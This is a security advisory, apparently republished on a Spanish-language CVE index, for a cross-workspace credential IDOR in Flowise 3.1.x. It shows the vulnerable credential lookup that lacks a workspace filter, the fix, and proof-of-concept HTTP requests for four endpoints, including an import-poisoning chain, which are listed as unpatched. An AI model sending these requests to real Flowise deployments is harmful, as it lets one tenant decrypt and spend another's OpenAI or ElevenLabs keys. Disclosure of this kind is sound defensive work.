GHSA-27W2-26M5-X82C
Cross-Workspace Credential IDOR
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-27W2-26M5-X82C divulgada · CVSS 7.6 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Four new findings sharing the same root cause as the original vector-store IDOR: `findOneBy({ id: credentialId })` with no `workspaceId` filter. An authenticated user can supply a foreign credential UUID to decrypt and use another workspace's OpenAI or ElevenLabs API key.
| # | Service / function | Endpoint | RBAC required |
|---|---|---|---|
| 1 | `getAllOpenaiAssistants`, `getSingleOpenaiAssistant` | `GET /api/v1/openai-assistants`, `GET /api/v1/openai-assistants/:id` | `assistants:view` |
| 2 | `uploadFilesToAssistant` | `POST /api/v1/openai-assistants-file/upload/` | auth only |
| 3 | `deleteAssistant` (L185, chained) | `DELETE /api/v1/assistants/:id` | `workspace:import` + `assistants:delete` |
| 4 | `getVoices` | `GET /api/v1/text-to-speech/voices` | auth only |
---
Root Cause
Same pattern repeated across four locations:
// openai-assistants/index.ts: L18, L46, L87
// assistants/index.ts: L185
// packages/components/src/utils.ts: L668 (shared helper — used by TTS getVoices)
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
id: credentialId // no workspaceId filter
})Safe pattern (used correctly in `createAssistant` L57, `updateAssistant` L332, credentials service L130):
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
id: credentialId,
workspaceId: workspaceId
})---
Proof of Concept
All verified live against `flowiseai/flowise:3.1.2` (Docker).
Error differential used throughout: nonexistent UUID → `"Credential not found"` / `"Please pass in your API Key"`; real foreign UUID → downstream provider error (`"401 Unauthorized – check your API key"` or `"invalid_api_key"`), proving cross-workspace credential was fetched, decrypted, and used.
---
Finding 1 — openai-assistants service
Verified 2026-04-17.
GET /api/v1/openai-assistants?credential=<workspace-b-uuid>
Cookie: token=<workspace-a-jwt>
→ 500 {"message": "401 Unauthorized – check your API key..."} ← cross-workspace
→ 500 {"message": "Error: openaiAssistantsService.getAllOpenaiAssistants - Credential <uuid> not found in the database!"} ← control---
Finding 2 — openai-assistants-file upload
Verified 2026-04-21 using Codex.
POST /api/v1/openai-assistants-file/upload/?credential=<workspace-b-uuid>
Authorization: Bearer <workspace-a-api-key>
→ 500 {"message": "401 Unauthorized – check your API key..."} ← cross-workspace
→ 404 {"message": "Credential 00000000-... not found in the database!"} ← control---
Finding 3 — deleteAssistant (chained via workspace import)
Verified 2026-04-21 using Codex.
`deleteAssistant` is asymmetric: `createAssistant` (L57) and `updateAssistant` (L332) correctly include `workspaceId`; `deleteAssistant` (L185) does not. Exploitation requires importing an assistant row whose `credential` field references a foreign workspace UUID via `POST /api/v1/export-import/import` (`workspace:import` permission).
# Step 1 — poison an assistant row in Workspace A pointing to Workspace B's credential
POST /api/v1/export-import/import
Authorization: Bearer <workspace-a-api-key>
{"AssistantOpenAI":[{"id":"...","credential":"<workspace-b-uuid>","type":"OPENAI",...}]}
→ 200 {"message":"success"}
# Step 2 — delete triggers cross-workspace credential lookup
DELETE /api/v1/assistants/<poisoned-id>?isDeleteBoth=true
Authorization: Bearer <workspace-a-api-key>
→ 500 {"message": "401 Unauthorized – check your API key..."} ← cross-workspace
→ 500 {"message": "Error: assistantsService.deleteAssistant - Error deleting assistant - Credential <uuid> not found"} ← control---
Finding 4 — TTS getVoices
Verified 2026-04-21 using Codex.
No per-route RBAC — any authenticated user can reach this endpoint. OpenAI returns a static voice list regardless of credential validity; ElevenLabs makes a live API call and is used for the differential.
GET /api/v1/text-to-speech/voices?provider=elevenlabs&credentialId=<workspace-b-uuid>
Authorization: Bearer <workspace-a-api-key>
→ 500 {"message": "...invalid_api_key..."} ← cross-workspace
→ 500 {"message": "Please pass in your ElevenLabs API Key"} ← control---
Impact
- Findings 1, 2, 4 — any authenticated user (with relevant RBAC for F1) can trigger decryption and use of any workspace's OpenAI or ElevenLabs credential by supplying its UUID
- Finding 3 — attacker with `workspace:import` + `assistants:delete` can trigger cross-workspace credential decryption and OpenAI API use via a poisoned assistant row
---
Fix
Add `workspaceId` filter to every credential lookup, sourcing from `req.user.activeWorkspaceId`:
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
id: credentialId,
workspaceId: workspaceId
})Files:
- `packages/server/src/services/openai-assistants/index.ts` (L18, L46, L87)
- `packages/server/src/services/assistants/index.ts:185`
- `packages/components/src/utils.ts:668`
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise |
Sin parche | — | — | 3.1.4 afectada |
npmflowise-components |
Sin parche | — | — | 3.1.4 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-27w2-26m5-x82cLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
